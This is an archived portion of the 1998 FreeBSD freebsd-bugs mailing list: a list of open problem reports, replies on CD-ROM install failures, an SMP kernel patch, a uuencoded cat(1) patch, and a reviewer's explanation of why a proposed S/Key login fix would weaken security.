[1998/03/15] ports/6029 ports New Ports: jvim+onew o [1998/03/16] misc/6031 ports.mk doesn't prefer local sites outsi o [1998/03/16] kern/6032 poor TCP performance using FDDI over long o [1998/03/16] docs/6036 doc New handbook section 10.4.3.4 - si driver o [1998/03/16] bin/6037 inconsistency between kbdcontrol(1) and s o [1998/03/18] ports/6053 ports new port request: korean/hanIM o [1998/03/18] kern/6056 de driver support for DS 21143 incomplete o [1998/03/18] ports/6057 ports xperfmon++-1.40 package fails XtRealloc() o [1998/03/18] misc/6060 peter Sendmail executable, not doing MASQUERADE o [1998/03/18] docs/6063 boot.help file not updated in /usr/src/et o [1998/03/18] bin/6064 Script to update files installed by /usr/ o [1998/03/19] i386/6067 boot.help pushes kernel list off screen o [1998/03/20] ports/6078 ports Documentation concerning logging suggests o [1998/03/21] ports/6085 ports New port: pavuk-0.8 o [1998/03/21] ports/6090 ports New port: xvmahjongg-2.0 o [1998/03/22] conf/6096 /sys/i386/conf/LINT: edit(???) sound_conf o [1998/03/22] i386/6098 FreeBSD only uses 16M of 48M on Compaq De o [1998/03/22] ports/6105 ports New port: cftp-0.9.1 o [1998/03/22] gnu/6107 gdb should support PRINTF_HAS_LONG_LONG o [1998/03/23] ports/6113 ports new port: rinfo-1.2 o [1998/03/23] i386/6115 msdosfs incorrect compute cluster or root o [1998/03/23] docs/6117 dumpon(8) man page only mentions deprecat o [1998/03/23] ports/6119 ports New port: xmastermind-0.1 o [1998/03/23] ports/6120 ports New port: xtetris-2.6 o [1998/03/25] gnu/6130 "dialog" command cuts off chars from menu o [1998/03/25] misc/6132 bsd.subdir.mk - cleandepend o [1998/03/26] ports/6139 ports NEW PORT: x11/sharefonts, Shareware ATM f f [1998/03/26] bin/6140 des Add '-H' and '-P' options to ls(1), fix m o [1998/03/27] bin/6144 telnet for 8-bit data path o [1998/03/27] ports/6151 ports New port: xrus-1.5.2 o [1998/03/28] ports/6153 ports New port: flick o [1998/03/28] ports/6155 ports new port: emulators/vice, Versatile Commo o [1998/03/28] bin/6156 Patches to make dump understand ENOSPC o [1998/03/28] ports/6158 ports New graphics port: Rayshade-4.0 o [1998/03/28] bin/6161 2.2.6 kerberos servers are awfully visibl o [1998/03/28] ports/6163 ports New port: xpyraminx-5.4.3 o [1998/03/29] ports/6165 ports New port: xpanex-5.4.3 o [1998/03/29] ports/6166 ports New port: xoct-5.4.3 o [1998/03/29] ports/6170 ports another squid ports o [1998/03/29] ports/6171 ports New port: xtron-1.1a o [1998/03/29] misc/6172 Why is /ftp.freebsd.org/pub/FreeBSD/CTM/p o [1998/03/30] ports/6176 ports running architextSearch (excite) under li o [1998/03/30] bin/6178 bde Patches for Objective C compilation with o [1998/03/30] ports/6181 ports New port: xoj-1.0 o [1998/03/31] bin/6183 quota hangups o [1998/03/31] kern/6184 No error if resulting file pos in lseek i o [1998/04/01] bin/6187 peter mounting nfs directories with -b can caus o [1998/04/01] bin/6188 screensaver permanently active when no bo o [1998/04/01] kern/6192 kernel patches for netatalk break FDDI su o [1998/04/01] ports/6194 ports New port: mirrormagic-1.3 o [1998/04/02] bin/6198 demangling C++ names breaks the Cygnus -f o [1998/04/03] bin/6200 flex can be upgraded o [1998/04/03] bin/6202 No way to detect removable media. o [1998/04/03] bin/6206 Enhancements to the shutdown program o [1998/04/03] ports/6207 ports new port request: korean/ftghostscript5 o [1998/04/04] ports/6211 ports New port: sic-0.10a (net) o [1998/04/04] kern/6213 peter NFS-mounted swap (via vnconfig) easily cr o [1998/04/04] bin/6214 ping sometimes cannot be killed with a Co o [1998/04/05] conf/6220 Too few ttyv devices in the -RELEASE syst o [1998/04/05] ports/6221 ports New port: mico s [1998/04/06] bin/6223 PST/DST bug in /bin/date o [1998/04/06] bin/6227 as doesn't handle this instruction o [1998/04/06] bin/6228 Syslogd not working according to manpage o [1998/04/06] ports/6230 ports gfont_mkgdf calls wrong interpreter o [1998/04/06] bin/6234 ypserv -d is broken o [1998/04/07] ports/6235 ports New port: scwm-icon o [1998/04/07] ports/6236 ports New port: scwm o [1998/04/07] kern/6247 Gravis UltraSound Classic no longer works o [1998/04/09] kern/6255 SI driver fix for Jet ISA memory size o [1998/04/09] kern/6256 SI driver - new T225 download code o [1998/04/09] i386/6261 gibbs Storage Dimensions SDC3222F not recognize o [1998/04/10] ports/6262 ports New port of bulk_mailer 1.9 o [1998/04/10] i386/6269 Included is a patch to support AMD Write- o [1998/04/10] i386/6270 options.i386 update for AMD write-allocat o [1998/04/10] misc/6271 jkh Install program can no longer write out p o [1998/04/12] ports/6282 ports >> Checksum mismatch for bxform-088.tgz. o [1998/04/13] bin/6292 syslogd cannot put kernel loggings into s s [1998/04/13] bin/6294 who(1) needs better argument parsing o [1998/04/14] docs/6295 doc Reference to nonexistent file in Device D o [1998/04/14] kern/6296 IP_HDRINCL sockets force header fields to a [1998/04/14] kern/6299 vmstat -i does not show PnP device interr o [1998/04/15] ports/6305 ports New ports collection: ja-libslang o [1998/04/15] ports/6306 ports New ports collection: ja-slrn o [1998/04/15] docs/6307 doc sgmlfmt not `make -jN' ready o [1998/04/15] bin/6308 date(1) -v argument cannot vary seconds o [1998/04/15] ports/6311 ports New port: gsfonts o [1998/04/15] ports/6312 ports New port: ghostscript-3.33 o [1998/04/15] bin/6314 /usr/sbin/ac modification a [1998/04/16] ports/6315 kuriyama new port request: korean/htm o [1998/04/16] kern/6318 pppd does not update wtmp on hangup o [1998/04/16] misc/6320 Sometimes nohup isn't good enough. a [1998/04/16] ports/6321 ports can't run any version of PostgreSQL on 2. o [1998/04/16] bin/6325 Heading fix for 'w' on long-name systems o [1998/04/17] ports/6331 ports New port: libshhopt-1.1.3 o [1998/04/17] bin/6332 bde /usr/include/time.h doesn't compile with o [1998/04/17] conf/6334 -DALLLANG should be moved from src/Makefi o [1998/04/17] gnu/6338 Gnu tar not working properly with the -G o [1998/04/18] conf/6346 Kernel version strings need to relate to o [1998/04/19] ports/6355 ports New port o [1998/04/20] ports/6358 ports new port of AfterStep-1.4.4 o [1998/04/20] bin/6359 routed does sent router discovry solicita o [1998/04/20] ports/6361 ports New ports collection: GNU Pascal Compiler f [1998/04/20] bin/6371 fetch(1) uses HTTP_PROXY for ftp requests o [1998/04/21] conf/6376 jkh can't reset /stand/sysinstall into initia o [1998/04/22] docs/6386 nik New web page - Resources for newbies o [1998/04/23] ports/6393 ports patch for multimedia-2.1.tar.gz f [1998/04/23] bin/6399 When using "-u" mount doesn't start from o [1998/04/23] bin/6401 user error while mounting causes panic o [1998/04/23] kern/6402 another machine can change my own permane o [1998/04/25] ports/6413 ports new ports for lynx2.8rel.3 (modified for o [1998/04/25] ports/6414 ports new ports for ja-color-lynx2.8rel.3 (modi o [1998/04/25] ports/6415 ports new ports for ja-lynx2.8.1dev.7 (modified o [1998/04/25] ports/6416 ports new ports for ja-color-lynx2.8.1dev.7 (mo o [1998/04/25] ports/6417 ports new ports for ja-libslang-1.0.3 (modified o [1998/04/26] ports/6424 ports misc. problems with gcc28 port a [1998/04/27] kern/6432 IFF_NOARP does not affect ethernet interf o [1998/04/28] ports/6434 se [PATCH] mediatool in x11/kdelibs cause kw o [1998/04/28] ports/6445 ports New port for `fhist' o [1998/04/28] ports/6446 ports patch to use Karn patchkit for faster DES o [1998/04/29] docs/6455 doc bootptab.5 uses both man macros and mdoc o [1998/04/29] misc/6457 BSD Bug List Page o [1998/04/29] ports/6460 ports New port: lang/kawk o [1998/04/30] kern/6464 tcpdump doesn't recognize tun0 when it's f [1998/04/30] bin/6470 brian aliasing & dial-on-demand creates unneces o [1998/05/01] ports/6473 ports New port: libshhmsg-1.3.3 o [1998/05/01] ports/6474 ports New port: libxalloc-1.0.2 o [1998/05/01] ports/6483 ports New port: affenspiel-1.0 o [1998/05/03] ports/6493 ports New port: dxpc-3.7.0 o [1998/05/03] kern/6495 Need pci_unmap_mem and pci_unmap_port rou o [1998/05/03] ports/6504 ports New port of `C Interfaces and Implementat o [1998/05/03] kern/6505 panic: cannot mount root on sd1 o [1998/05/04] docs/6508 doc sgmlfmt does not expand relative URLs s [1998/05/04] bin/6509 [ALMOST PATCH] Allow dd to seek/skip to o s [1998/05/04] bin/6516 [Patch] Assorted errors in libedit s [1998/05/05] bin/6521 [MAYBE PATCH] "rmdir -p x/y/z/" fails s [1998/05/05] bin/6529 [ALMOST PATCH] potential timing problem w o [1998/05/05] ports/6532 ports New port: libEZ-1.38 o [1998/05/06] ports/6533 ports Update: mew-1.92.4. o [1998/05/06] misc/6537 jkh New improved motd, take 2 o [1998/05/07] ports/6541 ports New port: math/dc o [1998/05/07] kern/6544 ahasty Only get one channel through sound card o [1998/05/07] ports/6546 ports 3line ansi prompt in tcsh: cursor disappe o [1998/05/07] ports/6548 ports New port: xemacs-mule-20.4. o [1998/05/09] conf/6559 jkh Upgrade processing clobber's ~root/{.cshr o [1998/05/09] i386/6560 yokota Console does not reset to primary screen o [1998/05/09] ports/6563 se minor problems with KDE ports o [1998/05/09] docs/6564 doc need more references in fetch(1) o [1998/05/09] ports/6565 ports new port o [1998/05/09] kern/6566 yokota vidcontrol causes a hard lockup o [1998/05/09] ports/6569 ports New port: q3dmenu-1.0 o [1998/05/10] ports/6570 ports port of java CUP parser o [1998/05/10] ports/6580 ports Update port: xemacs-mule-20.4. o [1998/05/10] ports/6581 ports Fixed port: icewm o [1998/05/10] ports/6582 ports Fixed port: icewm o [1998/05/11] ports/6584 ports Update japanese/iv MASTER_SITES o [1998/05/11] ports/6585 ports New port: pente-2.2.1 o [1998/05/11] docs/6586 doc bug in /usr/src/sbin/mount_umap.8 o [1998/05/11] ports/6588 ports Update ports: mew-1.92.4. o [1998/05/11] i386/6592 Install do not recognize Mitsumi 1x CDROM 739 problems total. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 11:53:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA28149 for freebsd-bugs-outgoing; Mon, 11 May 1998 11:53:24 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA28144 for ; Mon, 11 May 1998 11:53:23 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA25407; Mon, 11 May 1998 11:50:00 -0700 (PDT) Date: Mon, 11 May 1998 11:50:00 -0700 (PDT) Message-Id: <199805111850.LAA25407@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Nathan Dorfman Subject: Re: i386/6592: Install do not recognize Mitsumi 1x CDROM (mcd0) Reply-To: Nathan Dorfman Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR i386/6592; it has been noted by GNATS. From: Nathan Dorfman To: webmaster@healthnet-sl.es, freebsd-gnats-submit@FreeBSD.ORG Cc: Subject: Re: i386/6592: Install do not recognize Mitsumi 1x CDROM (mcd0) Date: Mon, 11 May 1998 14:52:01 -0400 > FreeBSD magenta.healthnet-sl.es 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #0: > Wed Mar 25 02:28:49 GMT 1998 jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC i386 > >Description: > 2.2.6 Install program does not recognize my old 1x Mitsumi CD-ROM. I had > to install from FTP and then it recognized the CD-ROM without problems. > The machine previously had 2.0.5-RELEASE installed and the install with > this release went perfectly. I used to have a 3x Mitsumi on mcd0. Are you sure you configured it right in the kernel boot editor (at the boot floppy)? First, delete any devices you don't have (to get rid of conflicts). Then go to the Mitsumi entry and change the I/O port, IRQ, and DRQ to their correct values. The default values in the editor were 300, something and something; the actual values (it was hooked up to my SB16) were 0x340, 7, 11. You might be facing the same problem. I installed from that CD without problems (2.2.1). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 14:33:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA24984 for freebsd-bugs-outgoing; Mon, 11 May 1998 14:33:29 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA24972 for ; Mon, 11 May 1998 14:33:25 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA26024; Mon, 11 May 1998 14:30:01 -0700 (PDT) Date: Mon, 11 May 1998 14:30:01 -0700 (PDT) Message-Id: <199805112130.OAA26024@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Tor Egge Subject: Re: kern/6587: SMP idle cpl breaks signal forwarding Reply-To: Tor Egge Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/6587; it has been noted by GNATS. From: Tor Egge To: will@iki.fi Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: kern/6587: SMP idle cpl breaks signal forwarding Date: Mon, 11 May 1998 23:27:46 +0200 Having a shared AST flag in an SMP configuration is wrong. This is one of the bad side effects. Appended is an attempt at a workaround. Consider it my submission to a kludge stacking contest. - Tor Egge Index: swtch.s =================================================================== RCS file: /home/ncvs/src/sys/i386/i386/swtch.s,v retrieving revision 1.71 diff -u -r1.71 swtch.s --- swtch.s 1998/04/06 15:44:31 1.71 +++ swtch.s 1998/05/11 20:46:13 @@ -49,6 +49,8 @@ #include #include #include /** GRAB_LOPRIO */ +#include +#include #endif /* SMP */ #include "assym.s" @@ -308,6 +310,10 @@ * * XXX: we had damn well better be sure we had it before doing this! */ + CPL_LOCK + andl $~SWI_AST_MASK, _ipending + movl $0, _cpl /* Allow ASTs on other CPU */ + CPL_UNLOCK movl $FREE_LOCK, %eax movl %eax, _mp_lock @@ -357,16 +363,20 @@ jmp idle_loop 3: -#ifdef SMP movl $LOPRIO_LEVEL, lapic_tpr /* arbitrate for INTs */ -#endif call _get_mplock + CPL_LOCK + movl $SWI_AST_MASK, _cpl /* Disallow ASTs on other CPU */ + CPL_UNLOCK cmpl $0,_whichrtqs /* real-time queue */ CROSSJUMP(jne, sw1a, je) cmpl $0,_whichqs /* normal queue */ CROSSJUMP(jne, nortqr, je) cmpl $0,_whichidqs /* 'idle' queue */ CROSSJUMP(jne, idqr, je) + CPL_LOCK + movl $0, _cpl /* Allow ASTs on other CPU */ + CPL_UNLOCK call _rel_mplock jmp idle_loop To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 15:33:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA07626 for freebsd-bugs-outgoing; Mon, 11 May 1998 15:33:33 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA07606 for ; Mon, 11 May 1998 15:33:26 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id PAA26464; Mon, 11 May 1998 15:30:02 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA04756; Mon, 11 May 1998 15:23:56 -0700 (PDT) (envelope-from nobody) Message-Id: <199805112223.PAA04756@hub.freebsd.org> Date: Mon, 11 May 1998 15:23:56 -0700 (PDT) From: Neil.Kefford@airservices.gov.au To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: i386/6596: Cannot install 2.2.6-RELEASE from CR563 (Matcd) CD-ROM Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6596 >Category: i386 >Synopsis: Cannot install 2.2.6-RELEASE from CR563 (Matcd) CD-ROM >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon May 11 15:30:01 PDT 1998 >Last-Modified: >Originator: Neil Kefford >Organization: - >Release: 2.2.6-RELEASE >Environment: (Cannot install - dont get this far!) >Description: When installing 2.2.6 from a CR563 (Matcd) drive, the installer reports that it cannot mount matcd0c on dist:. The probe finds the drive successfully (reports as matcdc0). Installing 2.2.5 works correctly (same machine). Both versions OK when installed from SCSI CD-ROM. >How-To-Repeat: Try installing from CR563 drive. >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 19:10:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA08889 for freebsd-bugs-outgoing; Mon, 11 May 1998 19:10:52 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from srv01.latinmail.com (srv01.latinmail.com [209.125.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA08875 for ; Mon, 11 May 1998 19:10:44 -0700 (PDT) (envelope-from www@srv01.latinmail.com) Received: (from www@localhost) by srv01.latinmail.com (8.8.5/8.8.5) id IAA08352 for freebsd-bugs@freebsd.org; Mon, 11 May 1998 08:28:52 -0700 (PDT) Date: Mon, 11 May 1998 08:28:52 -0700 (PDT) Message-Id: <199805111528.IAA08352@srv01.latinmail.com> From: fanvedder@latinmail.com Subject: [ nada ] Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: undisclosed-recipients:; Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Please, help me. I lost my password and i Don't know what i"m going to do. Please send me instructions ________________________________________________________________ E-Mail enviado por el servicio LatinMail, consigue tu direccion electronica, gratuitamente en http://www.latinmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 19:53:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA14913 for freebsd-bugs-outgoing; Mon, 11 May 1998 19:53:27 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA14902 for ; Mon, 11 May 1998 19:53:25 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id TAA27265; Mon, 11 May 1998 19:50:00 -0700 (PDT) Date: Mon, 11 May 1998 19:50:00 -0700 (PDT) Message-Id: <199805120250.TAA27265@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: "Jason" Subject: Re: bin/5711 Reply-To: "Jason" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/5711; it has been noted by GNATS. From: "Jason" To: Cc: Subject: Re: bin/5711 Date: Mon, 11 May 1998 21:46:47 -0500 This is a follow up that takes into account cosmetic changes made to cat since the last patch was send. I'm sorry about having to send UUendcode, but its the only way I can currently get it out vi email without garrbling the white space. Alternativly you can get the patch from http://www.hal-pc.org/~jes/cat.diff patch follows: begin 666 cat.diff M*BHJ(&-A="XQ"4UO;B!-87D@,3$@,C$Z,38Z,3D@,3DY. HM+2T@,2YC870) M36]N($UA>2 Q,2 R,3HR,#HQ.2 Q.3DX"BHJ*BHJ*BHJ*BHJ*BHJ*@HJ*BH@ M,3$Y+#$R-R J*BHJ"B @+E-H($A)4U1/4ED*("!!"B @+DYM"B$@8V]M;6%N M9"!A<'!E87)E9"!I;B!697)S:6]N(#$@050F5"!53DE8+B *(" N06X@1&5N M;FES(%)I=&-H:64*("!D97-I9VYE9"!A;F0@=W)O=&4@=&AE(&9IF4["B @"7-T871I8R!C:&%R("IB=68["B @"7-TF4@/2!-05@HPH@( D)=V%R M;B@B)7,B+"!F:6QE;F%M92D["BTM+2 R,S@L,C8W("TM+2T*("!R87=?8V%T M*')F9"D*(" )F4L(%-325I%7TU!6"D["B$@"0EI9B H M8G-I>F4@(3T@F4@/2 Q-C,X M-#L*(2 )"7T*(2 )"6EF*&)U9B A/2!.54Q,*0HA( D)"69R964H8G5F*3L* M(2 )"6EF("@H8G5F(#T@;6%L;&]C*&)S:7IE*2D@/3T@3E5,3"D@>PHA( D) M"6)S:7IE(#T@,#L*(2 )"0EEF4I*2 ^(# I"B @"0EF;W(@*&]F9B ] M(# [(&YR.R!NF5?="ENPH@( D)=V%R;B@B 0)7,B+"!F:6QE;F%M92D["@`` ` end To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 21:20:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA26592 for freebsd-bugs-outgoing; Mon, 11 May 1998 21:20:28 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA26584; Mon, 11 May 1998 21:20:20 -0700 (PDT) (envelope-from jkh@FreeBSD.org) From: "Jordan K. Hubbard" Received: (from jkh@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id VAA27660; Mon, 11 May 1998 21:16:55 -0700 (PDT) Date: Mon, 11 May 1998 21:16:55 -0700 (PDT) Message-Id: <199805120416.VAA27660@freefall.freebsd.org> To: webmaster@healthnet-sl.es, jkh@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: i386/6592 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Install do not recognize Mitsumi 1x CDROM (mcd0) State-Changed-From-To: open-closed State-Changed-By: jkh State-Changed-When: Mon May 11 21:15:54 PDT 1998 State-Changed-Why: This is the same bug as described in PR#6576 and is now closed, thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 21:21:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA26731 for freebsd-bugs-outgoing; Mon, 11 May 1998 21:21:38 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA26702; Mon, 11 May 1998 21:21:17 -0700 (PDT) (envelope-from jkh@FreeBSD.org) From: "Jordan K. Hubbard" Received: (from jkh@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id VAA27727; Mon, 11 May 1998 21:17:52 -0700 (PDT) Date: Mon, 11 May 1998 21:17:52 -0700 (PDT) Message-Id: <199805120417.VAA27727@freefall.freebsd.org> To: Neil.Kefford@airservices.gov.au, jkh@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: i386/6596 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Cannot install 2.2.6-RELEASE from CR563 (Matcd) CD-ROM State-Changed-From-To: open-closed State-Changed-By: jkh State-Changed-When: Mon May 11 21:17:39 PDT 1998 State-Changed-Why: This is the same bug as described in PR#6576 and is now closed, thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 21:23:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA27069 for freebsd-bugs-outgoing; Mon, 11 May 1998 21:23:29 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA27057 for ; Mon, 11 May 1998 21:23:26 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id VAA27752; Mon, 11 May 1998 21:20:01 -0700 (PDT) Date: Mon, 11 May 1998 21:20:01 -0700 (PDT) Message-Id: <199805120420.VAA27752@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: "Jordan K. Hubbard" Subject: Re: i386/6592: Install do not recognize Mitsumi 1x CDROM (mcd0) Reply-To: "Jordan K. Hubbard" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR i386/6592; it has been noted by GNATS. From: "Jordan K. Hubbard" To: webmaster@healthnet-sl.es Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: i386/6592: Install do not recognize Mitsumi 1x CDROM (mcd0) Date: Mon, 11 May 1998 21:18:33 -0700 > 2.2.6 Install program does not recognize my old 1x Mitsumi CD-ROM. I had > to install from FTP and then it recognized the CD-ROM without problems. > The machine previously had 2.0.5-RELEASE installed and the install with > this release went perfectly. Please fetch ftp://ftp.freebsd.org/pub/FreeBSD/2.2.6-RELEASE/updates/boot.flp for an updated boot floppy which fixes this problem. It is also now documented in the 2.2.6 release ERRATA. Thanks! - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 21:23:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA27071 for freebsd-bugs-outgoing; Mon, 11 May 1998 21:23:29 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA27061 for ; Mon, 11 May 1998 21:23:27 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id VAA27757; Mon, 11 May 1998 21:20:01 -0700 (PDT) Date: Mon, 11 May 1998 21:20:01 -0700 (PDT) Message-Id: <199805120420.VAA27757@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: "Jordan K. Hubbard" Subject: Re: i386/6596: Cannot install 2.2.6-RELEASE from CR563 (Matcd) CD-ROM Reply-To: "Jordan K. Hubbard" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR i386/6596; it has been noted by GNATS. From: "Jordan K. Hubbard" To: Neil.Kefford@airservices.gov.au Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: i386/6596: Cannot install 2.2.6-RELEASE from CR563 (Matcd) CD-ROM Date: Mon, 11 May 1998 21:20:15 -0700 > > >Number: 6596 > >Category: i386 > >Synopsis: Cannot install 2.2.6-RELEASE from CR563 (Matcd) CD-ROM Please fetch ftp://ftp.freebsd.org/pub/FreeBSD/2.2.6-RELEASE/updates/boot.flp for an updated boot floppy which fixes this problem. It is also now documented in the 2.2.6 release ERRATA. Thanks! - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 22:03:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA02750 for freebsd-bugs-outgoing; Mon, 11 May 1998 22:03:28 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA02740 for ; Mon, 11 May 1998 22:03:27 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id WAA27822; Mon, 11 May 1998 22:00:01 -0700 (PDT) Date: Mon, 11 May 1998 22:00:01 -0700 (PDT) Message-Id: <199805120500.WAA27822@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: A Joseph Koshy Subject: Re: bin/3289: login(1) does not check /etc/skey.access when doing ... Reply-To: A Joseph Koshy Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/3289; it has been noted by GNATS. From: A Joseph Koshy To: freebsd-gnats-submit@freebsd.org Cc: phk@freebsd.org, steve@freebsd.org Subject: Re: bin/3289: login(1) does not check /etc/skey.access when doing ... Date: Tue, 12 May 1998 10:26:15 +0530 Interesting PR, but unfortunately the fix given opens a security hole. Here is the scenario: 1. User logs into machine over an insecure network using s/key. 2. User runs 'sh -c login' : with the given patch this will be treated as a login from 'localhost' allowing a line like 'internet 127.0.0.1 255.255.255.255' in "/etc/skey.access" to allow unix passwords to be used. This means that the password would be transmitted over the insecure network. The only logins that are special to S/Key are those from the machine ``console''. A login via say, xterm(1) is not ``local'' to S/Key, and to be fair, the man page does not claim otherwise. S/Key is working according to spec. Determining if a login on a psuedo-tty is really "local" without opening oneself up to security holes like the above is going to be hard. I'm also not sure whether it is worth convoluting the login(1) code for this. The problem in the PR really affects only those users who do not have S/Key passwords when S/Key is enabled systemwide. Users with S/Key passwords would be to login using their s/key passwords. Workarounds: I. If you are going to enable S/Key, ensure that every user has S/Key passwords. (I prefer this). II. Have a line like 'internet 127.0.0.1 255.255.255.255' in 